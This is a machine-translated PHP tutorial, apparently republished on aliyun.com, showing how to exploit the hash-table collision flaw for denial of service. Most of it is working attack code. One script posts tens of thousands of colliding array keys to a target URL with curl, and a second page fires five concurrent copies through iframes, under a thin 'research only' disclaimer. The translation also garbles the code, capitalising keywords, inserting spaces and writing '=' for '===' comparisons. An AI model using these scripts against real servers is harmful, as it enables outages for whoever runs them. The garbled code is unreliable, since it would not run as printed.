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Analysis of PHP's method of using the hash conflict vulnerability for DDoS attacks

Source: Internet
Author: User
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Analysis of PHP's method of using the hash conflict vulnerability for DDoS attacks

This article mainly introduces how PHP uses the hash conflict vulnerability for DDoS attacks. The example analyzes the principles and implementation skills of php using hash for DDoS attacks. For more information, see

 

 

This document describes how PHP uses the hash conflict vulnerability to launch DDoS attacks. Share it with you for your reference. The specific analysis is as follows:

First of all, declare that the content of this article is only for research and use. Do not use it for illegal behavior!

We have mentioned the hash table Collision Vulnerability recently. Many common languages, including java, python, and php, are not spared. Let's take a look at its power tonight.

Attack principle:

By posting a group of carefully crafted array parameters to the target server, when the underlying language processes the received array parameters at the server end, this vulnerability causes high CPU consumption, eventually, the server resources are exhausted.
You don't need to use any fancy techniques. You can simply use PHP to check the effect.

File: dos. php

?

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// Target address

// What does the target address do if it exists?

$ Host = 'HTTP: // 127.0.0.1/test. php ';

$ Data = '';

$ Size = pow (2, 15 );

For ($ key = 0, $ max = ($ size-1) * $ size; $ key <= $ max; $ key + = $ size)

{

$ Data. = '& array ['. $ key. '] = 0 ';

}

$ Ret = curl ($ host, ltrim ($ data ,'&'));

Var_dump ($ ret );

Function curl ($ url, $ post, $ timeout = 30 ){

$ Ch = curl_init ();

Curl_setopt ($ ch, CURLOPT_RETURNTRANSFER, true );

Curl_setopt ($ ch, CURLOPT_TIMEOUT, $ timeout );

Curl_setopt ($ ch, CURLOPT_CONNECTTIMEOUT, $ timeout-5 );

Curl_setopt ($ ch, CURLOPT_HTTPHEADER, array ('ct :'));

Curl_setopt ($ ch, CURLOPT_URL, $ url );

Curl_setopt ($ ch, CURLOPT_POST, true );

Curl_setopt ($ ch, CURLOPT_POSTFIELDS, $ post );

$ Output = curl_exec ($ ch );

If ($ output = false) return false;

$ Info = curl_getinfo ($ ch );

$ Http_code = $ info ['HTTP _ Code'];

If ($ http_code = 404) return false;

Curl_close ($ ch );

Return $ output;

}

File: ddos. php

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<! DOCTYPE html PUBLIC "-// W3C // dtd xhtml 1.0 Transitional // EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<Html xmlns = "http://www.w3.org/1999/xhtml">

<Head>

<Meta http-equiv = "Content-Type" content = "text/html; charset = gb2312"/>

<Title> DDOS </title>

</Head>

<Body>

<? Php

For ($ I = 0; $ I <5; $ I ++) {// concurrency

Echo '<iframe src = "dos. php? A = '. $ I. '"scrolling =" false "frameborder =" 1 "allowtransparency =" true "style =" background-color: transparent; "> </iframe> ';

}

?>

</Body>

</Html>

I hope this article will help you with php programming.

This article is an English version of an article which is originally in the Chinese language on aliyun.com and is provided for information purposes only. This website makes no representation or warranty of any kind, either expressed or implied, as to the accuracy, completeness ownership or reliability of the article or any translations thereof. If you have any concerns or complaints relating to the article, please send an email, providing a detailed description of the concern or complaint, to info-contact@alibabacloud.com. A staff member will contact you within 5 working days. Once verified, infringing content will be removed immediately.

Related Keywords:
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